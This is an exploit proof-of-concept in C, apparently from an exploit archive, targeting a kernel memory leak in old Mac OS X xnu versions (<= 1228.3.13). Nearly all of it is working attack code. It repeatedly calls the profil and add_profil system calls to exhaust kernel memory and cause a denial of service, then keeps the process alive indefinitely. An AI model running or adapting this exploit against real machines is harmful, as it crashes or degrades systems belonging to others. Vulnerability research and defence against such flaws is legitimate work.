Mac OS X xnu <= 1228.3.13 (profil) Kernel Memory Leak/DoS PoC

/* xnu-profil-leak.c * * Copyright (c) 2008 by &#60;mu-b@digit-labs.org&#62; * * Apple MACOS X xnu &#60;= 1228.3.13 local kernel memory leak/DoS POC * by mu-b - Sat 16 Feb 2008 * * - Tested on: Apple MACOS X 10.5.1 (xnu-1228.0.2~1/RELEASE_I386) * Apple MACOS X 10.5.2 (xnu-1228.3.13~1/RELEASE_I386) * * - Private Source Code -DO NOT DISTRIBUTE - * http://www.digit-labs.org/ -- Digit-Labs 2008!@$! */ #include &#60;stdio.h&#62; #include &#60;stdlib.h&#62; #include &#60;fcntl.h&#62; #include &#60;string.h&#62; #include &#60;sys/syscall.h&#62; #include &#60;unistd.h&#62; /* profil defines */ #define PROFIL_LEAK_NUM 65536 * 128 int main (int argc, char **argv) { char buf[1024]; int i, n; printf (&#34;Apple MACOS X xnu &#60;= 1228.3.13 local kernel memory leak/DoS PoC\n&#34; &#34;by: &#60;mu-b@digit-labs.org&#62;\n&#34; &#34;http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n&#34;); printf (&#34;* opening profil, pid: %d...&#34;, getpid ()); if ((n = syscall (SYS_profil, &buf, sizeof buf, 0, 1)) &#60; 0) { fprintf (stderr, &#34;\n%s: syscall [SYS_profil]: failed: %d\n&#34;, argv[0], n); exit (EXIT_FAILURE); } printf (&#34;done\n&#34;); printf (&#34;* filling %d-bytes of kernel memory...\n&#34;, PROFIL_LEAK_NUM * 32); fflush (stdout); for (i = 0; i &#60; PROFIL_LEAK_NUM; i++) { if ((n = syscall (SYS_add_profil, &buf, sizeof buf, 0, 1)) &#60; 0) { fprintf (stderr, &#34;\n%s: syscall [SYS_add_profil]: failed: %d\n&#34;, argv[0], n); exit (EXIT_FAILURE); } printf (&#34;** %d-bytes filled\r&#34;, i * 32); } printf (&#34;\n* done\n&#34;); while (1) sleep (1); return (EXIT_SUCCESS); } // milw0rm.com [2009-03-23]